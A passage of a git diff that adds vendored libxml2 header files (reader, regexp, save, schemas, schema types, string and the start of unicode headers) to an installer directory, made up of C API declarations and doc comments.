+XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderForFile (const char *filename, + const char *encoding, + int options); +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderForMemory (const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderForFd (int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderForIO (xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); + +XMLPUBFUN int XMLCALL + xmlReaderNewWalker (xmlTextReaderPtr reader, + xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlReaderNewDoc (xmlTextReaderPtr reader, + const xmlChar * cur, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN int XMLCALL + xmlReaderNewFile (xmlTextReaderPtr reader, + const char *filename, + const char *encoding, + int options); +XMLPUBFUN int XMLCALL + xmlReaderNewMemory (xmlTextReaderPtr reader, + const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN int XMLCALL + xmlReaderNewFd (xmlTextReaderPtr reader, + int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN int XMLCALL + xmlReaderNewIO (xmlTextReaderPtr reader, + xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); +/* + * Error handling extensions + */ +typedef void * xmlTextReaderLocatorPtr; + +/** + * xmlTextReaderErrorFunc: + * @arg: the user argument + * @msg: the message + * @severity: the severity of the error + * @locator: a locator indicating where the error occured + * + * Signature of an error callback from a reader parser + */ +typedef void (XMLCALL *xmlTextReaderErrorFunc)(void *arg, + const char *msg, + xmlParserSeverities severity, + xmlTextReaderLocatorPtr locator); +XMLPUBFUN int XMLCALL + xmlTextReaderLocatorLineNumber(xmlTextReaderLocatorPtr locator); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderLocatorBaseURI (xmlTextReaderLocatorPtr locator); +XMLPUBFUN void XMLCALL + xmlTextReaderSetErrorHandler(xmlTextReaderPtr reader, + xmlTextReaderErrorFunc f, + void *arg); +XMLPUBFUN void XMLCALL + xmlTextReaderSetStructuredErrorHandler(xmlTextReaderPtr reader, + xmlStructuredErrorFunc f, + void *arg); +XMLPUBFUN void XMLCALL + xmlTextReaderGetErrorHandler(xmlTextReaderPtr reader, + xmlTextReaderErrorFunc *f, + void **arg); + +#endif /* LIBXML_READER_ENABLED */ + +#ifdef __cplusplus +} +#endif + +#endif /* __XML_XMLREADER_H__ */ + diff --git a/installer/libxml2/include/libxml/xmlregexp.h b/installer/libxml2/include/libxml/xmlregexp.h new file mode 100644 index 0000000..7009645 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlregexp.h @@ -0,0 +1,222 @@ +/* + * Summary: regular expressions handling + * Description: basic API for libxml regular expressions handling used + * for XML Schemas and validation. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_REGEXP_H__ +#define __XML_REGEXP_H__ + +#include + +#ifdef LIBXML_REGEXP_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlRegexpPtr: + * + * A libxml regular expression, they can actually be far more complex + * thank the POSIX regex expressions. + */ +typedef struct _xmlRegexp xmlRegexp; +typedef xmlRegexp *xmlRegexpPtr; + +/** + * xmlRegExecCtxtPtr: + * + * A libxml progressive regular expression evaluation context + */ +typedef struct _xmlRegExecCtxt xmlRegExecCtxt; +typedef xmlRegExecCtxt *xmlRegExecCtxtPtr; + +#ifdef __cplusplus +} +#endif +#include +#include +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The POSIX like API + */ +XMLPUBFUN xmlRegexpPtr XMLCALL + xmlRegexpCompile (const xmlChar *regexp); +XMLPUBFUN void XMLCALL xmlRegFreeRegexp(xmlRegexpPtr regexp); +XMLPUBFUN int XMLCALL + xmlRegexpExec (xmlRegexpPtr comp, + const xmlChar *value); +XMLPUBFUN void XMLCALL + xmlRegexpPrint (FILE *output, + xmlRegexpPtr regexp); +XMLPUBFUN int XMLCALL + xmlRegexpIsDeterminist(xmlRegexpPtr comp); + +/** + * xmlRegExecCallbacks: + * @exec: the regular expression context + * @token: the current token string + * @transdata: transition data + * @inputdata: input data + * + * Callback function when doing a transition in the automata + */ +typedef void (*xmlRegExecCallbacks) (xmlRegExecCtxtPtr exec, + const xmlChar *token, + void *transdata, + void *inputdata); + +/* + * The progressive API + */ +XMLPUBFUN xmlRegExecCtxtPtr XMLCALL + xmlRegNewExecCtxt (xmlRegexpPtr comp, + xmlRegExecCallbacks callback, + void *data); +XMLPUBFUN void XMLCALL + xmlRegFreeExecCtxt (xmlRegExecCtxtPtr exec); +XMLPUBFUN int XMLCALL + xmlRegExecPushString(xmlRegExecCtxtPtr exec, + const xmlChar *value, + void *data); +XMLPUBFUN int XMLCALL + xmlRegExecPushString2(xmlRegExecCtxtPtr exec, + const xmlChar *value, + const xmlChar *value2, + void *data); + +XMLPUBFUN int XMLCALL + xmlRegExecNextValues(xmlRegExecCtxtPtr exec, + int *nbval, + int *nbneg, + xmlChar **values, + int *terminal); +XMLPUBFUN int XMLCALL + xmlRegExecErrInfo (xmlRegExecCtxtPtr exec, + const xmlChar **string, + int *nbval, + int *nbneg, + xmlChar **values, + int *terminal); +#ifdef LIBXML_EXPR_ENABLED +/* + * Formal regular expression handling + * Its goal is to do some formal work on content models + */ + +/* expressions are used within a context */ +typedef struct _xmlExpCtxt xmlExpCtxt; +typedef xmlExpCtxt *xmlExpCtxtPtr; + +XMLPUBFUN void XMLCALL + xmlExpFreeCtxt (xmlExpCtxtPtr ctxt); +XMLPUBFUN xmlExpCtxtPtr XMLCALL + xmlExpNewCtxt (int maxNodes, + xmlDictPtr dict); + +XMLPUBFUN int XMLCALL + xmlExpCtxtNbNodes(xmlExpCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlExpCtxtNbCons(xmlExpCtxtPtr ctxt); + +/* Expressions are trees but the tree is opaque */ +typedef struct _xmlExpNode xmlExpNode; +typedef xmlExpNode *xmlExpNodePtr; + +typedef enum { + XML_EXP_EMPTY = 0, + XML_EXP_FORBID = 1, + XML_EXP_ATOM = 2, + XML_EXP_SEQ = 3, + XML_EXP_OR = 4, + XML_EXP_COUNT = 5 +} xmlExpNodeType; + +/* + * 2 core expressions shared by all for the empty language set + * and for the set with just the empty token + */ +XMLPUBVAR xmlExpNodePtr forbiddenExp; +XMLPUBVAR xmlExpNodePtr emptyExp; + +/* + * Expressions are reference counted internally + */ +XMLPUBFUN void XMLCALL + xmlExpFree (xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr); +XMLPUBFUN void XMLCALL + xmlExpRef (xmlExpNodePtr expr); + +/* + * constructors can be either manual or from a string + */ +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpParse (xmlExpCtxtPtr ctxt, + const char *expr); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpNewAtom (xmlExpCtxtPtr ctxt, + const xmlChar *name, + int len); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpNewOr (xmlExpCtxtPtr ctxt, + xmlExpNodePtr left, + xmlExpNodePtr right); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpNewSeq (xmlExpCtxtPtr ctxt, + xmlExpNodePtr left, + xmlExpNodePtr right); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpNewRange (xmlExpCtxtPtr ctxt, + xmlExpNodePtr subset, + int min, + int max); +/* + * The really interesting APIs + */ +XMLPUBFUN int XMLCALL + xmlExpIsNillable(xmlExpNodePtr expr); +XMLPUBFUN int XMLCALL + xmlExpMaxToken (xmlExpNodePtr expr); +XMLPUBFUN int XMLCALL + xmlExpGetLanguage(xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr, + const xmlChar**langList, + int len); +XMLPUBFUN int XMLCALL + xmlExpGetStart (xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr, + const xmlChar**tokList, + int len); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpStringDerive(xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr, + const xmlChar *str, + int len); +XMLPUBFUN xmlExpNodePtr XMLCALL + xmlExpExpDerive (xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr, + xmlExpNodePtr sub); +XMLPUBFUN int XMLCALL + xmlExpSubsume (xmlExpCtxtPtr ctxt, + xmlExpNodePtr expr, + xmlExpNodePtr sub); +XMLPUBFUN void XMLCALL + xmlExpDump (xmlBufferPtr buf, + xmlExpNodePtr expr); +#endif /* LIBXML_EXPR_ENABLED */ +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_REGEXP_ENABLED */ + +#endif /*__XML_REGEXP_H__ */ diff --git a/installer/libxml2/include/libxml/xmlsave.h b/installer/libxml2/include/libxml/xmlsave.h new file mode 100644 index 0000000..fb329b2 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlsave.h @@ -0,0 +1,88 @@ +/* + * Summary: the XML document serializer + * Description: API to save document or subtree of document + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XMLSAVE_H__ +#define __XML_XMLSAVE_H__ + +#include +#include +#include +#include + +#ifdef LIBXML_OUTPUT_ENABLED +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlSaveOption: + * + * This is the set of XML save options that can be passed down + * to the xmlSaveToFd() and similar calls. + */ +typedef enum { + XML_SAVE_FORMAT = 1<<0, /* format save output */ + XML_SAVE_NO_DECL = 1<<1, /* drop the xml declaration */ + XML_SAVE_NO_EMPTY = 1<<2, /* no empty tags */ + XML_SAVE_NO_XHTML = 1<<3, /* disable XHTML1 specific rules */ + XML_SAVE_XHTML = 1<<4, /* force XHTML1 specific rules */ + XML_SAVE_AS_XML = 1<<5, /* force XML serialization on HTML doc */ + XML_SAVE_AS_HTML = 1<<6, /* force HTML serialization on XML doc */ + XML_SAVE_WSNONSIG = 1<<7 /* format with non-significant whitespace */ +} xmlSaveOption; + + +typedef struct _xmlSaveCtxt xmlSaveCtxt; +typedef xmlSaveCtxt *xmlSaveCtxtPtr; + +XMLPUBFUN xmlSaveCtxtPtr XMLCALL + xmlSaveToFd (int fd, + const char *encoding, + int options); +XMLPUBFUN xmlSaveCtxtPtr XMLCALL + xmlSaveToFilename (const char *filename, + const char *encoding, + int options); + +XMLPUBFUN xmlSaveCtxtPtr XMLCALL + xmlSaveToBuffer (xmlBufferPtr buffer, + const char *encoding, + int options); + +XMLPUBFUN xmlSaveCtxtPtr XMLCALL + xmlSaveToIO (xmlOutputWriteCallback iowrite, + xmlOutputCloseCallback ioclose, + void *ioctx, + const char *encoding, + int options); + +XMLPUBFUN long XMLCALL + xmlSaveDoc (xmlSaveCtxtPtr ctxt, + xmlDocPtr doc); +XMLPUBFUN long XMLCALL + xmlSaveTree (xmlSaveCtxtPtr ctxt, + xmlNodePtr node); + +XMLPUBFUN int XMLCALL + xmlSaveFlush (xmlSaveCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlSaveClose (xmlSaveCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlSaveSetEscape (xmlSaveCtxtPtr ctxt, + xmlCharEncodingOutputFunc escape); +XMLPUBFUN int XMLCALL + xmlSaveSetAttrEscape (xmlSaveCtxtPtr ctxt, + xmlCharEncodingOutputFunc escape); +#ifdef __cplusplus +} +#endif +#endif /* LIBXML_OUTPUT_ENABLED */ +#endif /* __XML_XMLSAVE_H__ */ + + diff --git a/installer/libxml2/include/libxml/xmlschemas.h b/installer/libxml2/include/libxml/xmlschemas.h new file mode 100644 index 0000000..97930c7 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlschemas.h @@ -0,0 +1,246 @@ +/* + * Summary: incomplete XML Schemas structure implementation + * Description: interface to the XML Schemas handling and schema validity + * checking, it is incomplete right now. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SCHEMA_H__ +#define __XML_SCHEMA_H__ + +#include + +#ifdef LIBXML_SCHEMAS_ENABLED + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * This error codes are obsolete; not used any more. + */ +typedef enum { + XML_SCHEMAS_ERR_OK = 0, + XML_SCHEMAS_ERR_NOROOT = 1, + XML_SCHEMAS_ERR_UNDECLAREDELEM, + XML_SCHEMAS_ERR_NOTTOPLEVEL, + XML_SCHEMAS_ERR_MISSING, + XML_SCHEMAS_ERR_WRONGELEM, + XML_SCHEMAS_ERR_NOTYPE, + XML_SCHEMAS_ERR_NOROLLBACK, + XML_SCHEMAS_ERR_ISABSTRACT, + XML_SCHEMAS_ERR_NOTEMPTY, + XML_SCHEMAS_ERR_ELEMCONT, + XML_SCHEMAS_ERR_HAVEDEFAULT, + XML_SCHEMAS_ERR_NOTNILLABLE, + XML_SCHEMAS_ERR_EXTRACONTENT, + XML_SCHEMAS_ERR_INVALIDATTR, + XML_SCHEMAS_ERR_INVALIDELEM, + XML_SCHEMAS_ERR_NOTDETERMINIST, + XML_SCHEMAS_ERR_CONSTRUCT, + XML_SCHEMAS_ERR_INTERNAL, + XML_SCHEMAS_ERR_NOTSIMPLE, + XML_SCHEMAS_ERR_ATTRUNKNOWN, + XML_SCHEMAS_ERR_ATTRINVALID, + XML_SCHEMAS_ERR_VALUE, + XML_SCHEMAS_ERR_FACET, + XML_SCHEMAS_ERR_, + XML_SCHEMAS_ERR_XXX +} xmlSchemaValidError; + +/* +* ATTENTION: Change xmlSchemaSetValidOptions's check +* for invalid values, if adding to the validation +* options below. +*/ +/** + * xmlSchemaValidOption: + * + * This is the set of XML Schema validation options. + */ +typedef enum { + XML_SCHEMA_VAL_VC_I_CREATE = 1<<0 + /* Default/fixed: create an attribute node + * or an element's text node on the instance. + */ +} xmlSchemaValidOption; + +/* + XML_SCHEMA_VAL_XSI_ASSEMBLE = 1<<1, + * assemble schemata using + * xsi:schemaLocation and + * xsi:noNamespaceSchemaLocation +*/ + +/** + * The schemas related types are kept internal + */ +typedef struct _xmlSchema xmlSchema; +typedef xmlSchema *xmlSchemaPtr; + +/** + * xmlSchemaValidityErrorFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of an error callback from an XSD validation + */ +typedef void (XMLCDECL *xmlSchemaValidityErrorFunc) + (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); + +/** + * xmlSchemaValidityWarningFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of a warning callback from an XSD validation + */ +typedef void (XMLCDECL *xmlSchemaValidityWarningFunc) + (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); + +/** + * A schemas validation context + */ +typedef struct _xmlSchemaParserCtxt xmlSchemaParserCtxt; +typedef xmlSchemaParserCtxt *xmlSchemaParserCtxtPtr; + +typedef struct _xmlSchemaValidCtxt xmlSchemaValidCtxt; +typedef xmlSchemaValidCtxt *xmlSchemaValidCtxtPtr; + +/** + * xmlSchemaValidityLocatorFunc: + * @ctx: user provided context + * @file: returned file information + * @line: returned line information + * + * A schemas validation locator, a callback called by the validator. + * This is used when file or node informations are not available + * to find out what file and line number are affected + * + * Returns: 0 in case of success and -1 in case of error + */ + +typedef int (XMLCDECL *xmlSchemaValidityLocatorFunc) (void *ctx, + const char **file, unsigned long *line); + +/* + * Interfaces for parsing. + */ +XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL + xmlSchemaNewParserCtxt (const char *URL); +XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL + xmlSchemaNewMemParserCtxt (const char *buffer, + int size); +XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL + xmlSchemaNewDocParserCtxt (xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlSchemaFreeParserCtxt (xmlSchemaParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlSchemaSetParserErrors (xmlSchemaParserCtxtPtr ctxt, + xmlSchemaValidityErrorFunc err, + xmlSchemaValidityWarningFunc warn, + void *ctx); +XMLPUBFUN void XMLCALL + xmlSchemaSetParserStructuredErrors(xmlSchemaParserCtxtPtr ctxt, + xmlStructuredErrorFunc serror, + void *ctx); +XMLPUBFUN int XMLCALL + xmlSchemaGetParserErrors(xmlSchemaParserCtxtPtr ctxt, + xmlSchemaValidityErrorFunc * err, + xmlSchemaValidityWarningFunc * warn, + void **ctx); +XMLPUBFUN int XMLCALL + xmlSchemaIsValid (xmlSchemaValidCtxtPtr ctxt); + +XMLPUBFUN xmlSchemaPtr XMLCALL + xmlSchemaParse (xmlSchemaParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlSchemaFree (xmlSchemaPtr schema); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlSchemaDump (FILE *output, + xmlSchemaPtr schema); +#endif /* LIBXML_OUTPUT_ENABLED */ +/* + * Interfaces for validating + */ +XMLPUBFUN void XMLCALL + xmlSchemaSetValidErrors (xmlSchemaValidCtxtPtr ctxt, + xmlSchemaValidityErrorFunc err, + xmlSchemaValidityWarningFunc warn, + void *ctx); +XMLPUBFUN void XMLCALL + xmlSchemaSetValidStructuredErrors(xmlSchemaValidCtxtPtr ctxt, + xmlStructuredErrorFunc serror, + void *ctx); +XMLPUBFUN int XMLCALL + xmlSchemaGetValidErrors (xmlSchemaValidCtxtPtr ctxt, + xmlSchemaValidityErrorFunc *err, + xmlSchemaValidityWarningFunc *warn, + void **ctx); +XMLPUBFUN int XMLCALL + xmlSchemaSetValidOptions (xmlSchemaValidCtxtPtr ctxt, + int options); +XMLPUBFUN void XMLCALL + xmlSchemaValidateSetFilename(xmlSchemaValidCtxtPtr vctxt, + const char *filename); +XMLPUBFUN int XMLCALL + xmlSchemaValidCtxtGetOptions(xmlSchemaValidCtxtPtr ctxt); + +XMLPUBFUN xmlSchemaValidCtxtPtr XMLCALL + xmlSchemaNewValidCtxt (xmlSchemaPtr schema); +XMLPUBFUN void XMLCALL + xmlSchemaFreeValidCtxt (xmlSchemaValidCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlSchemaValidateDoc (xmlSchemaValidCtxtPtr ctxt, + xmlDocPtr instance); +XMLPUBFUN int XMLCALL + xmlSchemaValidateOneElement (xmlSchemaValidCtxtPtr ctxt, + xmlNodePtr elem); +XMLPUBFUN int XMLCALL + xmlSchemaValidateStream (xmlSchemaValidCtxtPtr ctxt, + xmlParserInputBufferPtr input, + xmlCharEncoding enc, + xmlSAXHandlerPtr sax, + void *user_data); +XMLPUBFUN int XMLCALL + xmlSchemaValidateFile (xmlSchemaValidCtxtPtr ctxt, + const char * filename, + int options); + +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlSchemaValidCtxtGetParserCtxt(xmlSchemaValidCtxtPtr ctxt); + +/* + * Interface to insert Schemas SAX validation in a SAX stream + */ +typedef struct _xmlSchemaSAXPlug xmlSchemaSAXPlugStruct; +typedef xmlSchemaSAXPlugStruct *xmlSchemaSAXPlugPtr; + +XMLPUBFUN xmlSchemaSAXPlugPtr XMLCALL + xmlSchemaSAXPlug (xmlSchemaValidCtxtPtr ctxt, + xmlSAXHandlerPtr *sax, + void **user_data); +XMLPUBFUN int XMLCALL + xmlSchemaSAXUnplug (xmlSchemaSAXPlugPtr plug); + + +XMLPUBFUN void XMLCALL + xmlSchemaValidateSetLocator (xmlSchemaValidCtxtPtr vctxt, + xmlSchemaValidityLocatorFunc f, + void *ctxt); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_SCHEMAS_ENABLED */ +#endif /* __XML_SCHEMA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlschemastypes.h b/installer/libxml2/include/libxml/xmlschemastypes.h new file mode 100644 index 0000000..35d48d4 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlschemastypes.h @@ -0,0 +1,151 @@ +/* + * Summary: implementation of XML Schema Datatypes + * Description: module providing the XML Schema Datatypes implementation + * both definition and validity checking + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SCHEMA_TYPES_H__ +#define __XML_SCHEMA_TYPES_H__ + +#include + +#ifdef LIBXML_SCHEMAS_ENABLED + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + XML_SCHEMA_WHITESPACE_UNKNOWN = 0, + XML_SCHEMA_WHITESPACE_PRESERVE = 1, + XML_SCHEMA_WHITESPACE_REPLACE = 2, + XML_SCHEMA_WHITESPACE_COLLAPSE = 3 +} xmlSchemaWhitespaceValueType; + +XMLPUBFUN void XMLCALL + xmlSchemaInitTypes (void); +XMLPUBFUN void XMLCALL + xmlSchemaCleanupTypes (void); +XMLPUBFUN xmlSchemaTypePtr XMLCALL + xmlSchemaGetPredefinedType (const xmlChar *name, + const xmlChar *ns); +XMLPUBFUN int XMLCALL + xmlSchemaValidatePredefinedType (xmlSchemaTypePtr type, + const xmlChar *value, + xmlSchemaValPtr *val); +XMLPUBFUN int XMLCALL + xmlSchemaValPredefTypeNode (xmlSchemaTypePtr type, + const xmlChar *value, + xmlSchemaValPtr *val, + xmlNodePtr node); +XMLPUBFUN int XMLCALL + xmlSchemaValidateFacet (xmlSchemaTypePtr base, + xmlSchemaFacetPtr facet, + const xmlChar *value, + xmlSchemaValPtr val); +XMLPUBFUN int XMLCALL + xmlSchemaValidateFacetWhtsp (xmlSchemaFacetPtr facet, + xmlSchemaWhitespaceValueType fws, + xmlSchemaValType valType, + const xmlChar *value, + xmlSchemaValPtr val, + xmlSchemaWhitespaceValueType ws); +XMLPUBFUN void XMLCALL + xmlSchemaFreeValue (xmlSchemaValPtr val); +XMLPUBFUN xmlSchemaFacetPtr XMLCALL + xmlSchemaNewFacet (void); +XMLPUBFUN int XMLCALL + xmlSchemaCheckFacet (xmlSchemaFacetPtr facet, + xmlSchemaTypePtr typeDecl, + xmlSchemaParserCtxtPtr ctxt, + const xmlChar *name); +XMLPUBFUN void XMLCALL + xmlSchemaFreeFacet (xmlSchemaFacetPtr facet); +XMLPUBFUN int XMLCALL + xmlSchemaCompareValues (xmlSchemaValPtr x, + xmlSchemaValPtr y); +XMLPUBFUN xmlSchemaTypePtr XMLCALL + xmlSchemaGetBuiltInListSimpleTypeItemType (xmlSchemaTypePtr type); +XMLPUBFUN int XMLCALL + xmlSchemaValidateListSimpleTypeFacet (xmlSchemaFacetPtr facet, + const xmlChar *value, + unsigned long actualLen, + unsigned long *expectedLen); +XMLPUBFUN xmlSchemaTypePtr XMLCALL + xmlSchemaGetBuiltInType (xmlSchemaValType type); +XMLPUBFUN int XMLCALL + xmlSchemaIsBuiltInTypeFacet (xmlSchemaTypePtr type, + int facetType); +XMLPUBFUN xmlChar * XMLCALL + xmlSchemaCollapseString (const xmlChar *value); +XMLPUBFUN xmlChar * XMLCALL + xmlSchemaWhiteSpaceReplace (const xmlChar *value); +XMLPUBFUN unsigned long XMLCALL + xmlSchemaGetFacetValueAsULong (xmlSchemaFacetPtr facet); +XMLPUBFUN int XMLCALL + xmlSchemaValidateLengthFacet (xmlSchemaTypePtr type, + xmlSchemaFacetPtr facet, + const xmlChar *value, + xmlSchemaValPtr val, + unsigned long *length); +XMLPUBFUN int XMLCALL + xmlSchemaValidateLengthFacetWhtsp(xmlSchemaFacetPtr facet, + xmlSchemaValType valType, + const xmlChar *value, + xmlSchemaValPtr val, + unsigned long *length, + xmlSchemaWhitespaceValueType ws); +XMLPUBFUN int XMLCALL + xmlSchemaValPredefTypeNodeNoNorm(xmlSchemaTypePtr type, + const xmlChar *value, + xmlSchemaValPtr *val, + xmlNodePtr node); +XMLPUBFUN int XMLCALL + xmlSchemaGetCanonValue (xmlSchemaValPtr val, + const xmlChar **retValue); +XMLPUBFUN int XMLCALL + xmlSchemaGetCanonValueWhtsp (xmlSchemaValPtr val, + const xmlChar **retValue, + xmlSchemaWhitespaceValueType ws); +XMLPUBFUN int XMLCALL + xmlSchemaValueAppend (xmlSchemaValPtr prev, + xmlSchemaValPtr cur); +XMLPUBFUN xmlSchemaValPtr XMLCALL + xmlSchemaValueGetNext (xmlSchemaValPtr cur); +XMLPUBFUN const xmlChar * XMLCALL + xmlSchemaValueGetAsString (xmlSchemaValPtr val); +XMLPUBFUN int XMLCALL + xmlSchemaValueGetAsBoolean (xmlSchemaValPtr val); +XMLPUBFUN xmlSchemaValPtr XMLCALL + xmlSchemaNewStringValue (xmlSchemaValType type, + const xmlChar *value); +XMLPUBFUN xmlSchemaValPtr XMLCALL + xmlSchemaNewNOTATIONValue (const xmlChar *name, + const xmlChar *ns); +XMLPUBFUN xmlSchemaValPtr XMLCALL + xmlSchemaNewQNameValue (const xmlChar *namespaceName, + const xmlChar *localName); +XMLPUBFUN int XMLCALL + xmlSchemaCompareValuesWhtsp (xmlSchemaValPtr x, + xmlSchemaWhitespaceValueType xws, + xmlSchemaValPtr y, + xmlSchemaWhitespaceValueType yws); +XMLPUBFUN xmlSchemaValPtr XMLCALL + xmlSchemaCopyValue (xmlSchemaValPtr val); +XMLPUBFUN xmlSchemaValType XMLCALL + xmlSchemaGetValType (xmlSchemaValPtr val); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_SCHEMAS_ENABLED */ +#endif /* __XML_SCHEMA_TYPES_H__ */ diff --git a/installer/libxml2/include/libxml/xmlstring.h b/installer/libxml2/include/libxml/xmlstring.h new file mode 100644 index 0000000..2d0b2d1 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlstring.h @@ -0,0 +1,140 @@ +/* + * Summary: set of routines to process strings + * Description: type and interfaces needed for the internal string handling + * of the library, especially UTF8 processing. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_STRING_H__ +#define __XML_STRING_H__ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlChar: + * + * This is a basic byte in an UTF-8 encoded string. + * It's unsigned allowing to pinpoint case where char * are assigned + * to xmlChar * (possibly making serialization back impossible). + */ +typedef unsigned char xmlChar; + +/** + * BAD_CAST: + * + * Macro to cast a string to an xmlChar * when one know its safe. + */ +#define BAD_CAST (xmlChar *) + +/* + * xmlChar handling + */ +XMLPUBFUN xmlChar * XMLCALL + xmlStrdup (const xmlChar *cur); +XMLPUBFUN xmlChar * XMLCALL + xmlStrndup (const xmlChar *cur, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlCharStrndup (const char *cur, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlCharStrdup (const char *cur); +XMLPUBFUN xmlChar * XMLCALL + xmlStrsub (const xmlChar *str, + int start, + int len); +XMLPUBFUN const xmlChar * XMLCALL + xmlStrchr (const xmlChar *str, + xmlChar val); +XMLPUBFUN const xmlChar * XMLCALL + xmlStrstr (const xmlChar *str, + const xmlChar *val); +XMLPUBFUN const xmlChar * XMLCALL + xmlStrcasestr (const xmlChar *str, + const xmlChar *val); +XMLPUBFUN int XMLCALL + xmlStrcmp (const xmlChar *str1, + const xmlChar *str2); +XMLPUBFUN int XMLCALL + xmlStrncmp (const xmlChar *str1, + const xmlChar *str2, + int len); +XMLPUBFUN int XMLCALL + xmlStrcasecmp (const xmlChar *str1, + const xmlChar *str2); +XMLPUBFUN int XMLCALL + xmlStrncasecmp (const xmlChar *str1, + const xmlChar *str2, + int len); +XMLPUBFUN int XMLCALL + xmlStrEqual (const xmlChar *str1, + const xmlChar *str2); +XMLPUBFUN int XMLCALL + xmlStrQEqual (const xmlChar *pref, + const xmlChar *name, + const xmlChar *str); +XMLPUBFUN int XMLCALL + xmlStrlen (const xmlChar *str); +XMLPUBFUN xmlChar * XMLCALL + xmlStrcat (xmlChar *cur, + const xmlChar *add); +XMLPUBFUN xmlChar * XMLCALL + xmlStrncat (xmlChar *cur, + const xmlChar *add, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlStrncatNew (const xmlChar *str1, + const xmlChar *str2, + int len); +XMLPUBFUN int XMLCALL + xmlStrPrintf (xmlChar *buf, + int len, + const char *msg, + ...) LIBXML_ATTR_FORMAT(3,4); +XMLPUBFUN int XMLCALL + xmlStrVPrintf (xmlChar *buf, + int len, + const char *msg, + va_list ap) LIBXML_ATTR_FORMAT(3,0); + +XMLPUBFUN int XMLCALL + xmlGetUTF8Char (const unsigned char *utf, + int *len); +XMLPUBFUN int XMLCALL + xmlCheckUTF8 (const unsigned char *utf); +XMLPUBFUN int XMLCALL + xmlUTF8Strsize (const xmlChar *utf, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlUTF8Strndup (const xmlChar *utf, + int len); +XMLPUBFUN const xmlChar * XMLCALL + xmlUTF8Strpos (const xmlChar *utf, + int pos); +XMLPUBFUN int XMLCALL + xmlUTF8Strloc (const xmlChar *utf, + const xmlChar *utfchar); +XMLPUBFUN xmlChar * XMLCALL + xmlUTF8Strsub (const xmlChar *utf, + int start, + int len); +XMLPUBFUN int XMLCALL + xmlUTF8Strlen (const xmlChar *utf); +XMLPUBFUN int XMLCALL + xmlUTF8Size (const xmlChar *utf); +XMLPUBFUN int XMLCALL + xmlUTF8Charcmp (const xmlChar *utf1, + const xmlChar *utf2); + +#ifdef __cplusplus +} +#endif +#endif /* __XML_STRING_H__ */ diff --git a/installer/libxml2/include/libxml/xmlunicode.h b/installer/libxml2/include/libxml/xmlunicode.h new file mode 100644 index 0000000..01ac8b6 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlunicode.h @@ -0,0 +1,202 @@ +/* + * Summary: Unicode character APIs + * Description: API for the Unicode character APIs + * + * This file is automatically generated from the + * UCS description files of the Unicode Character Database + * 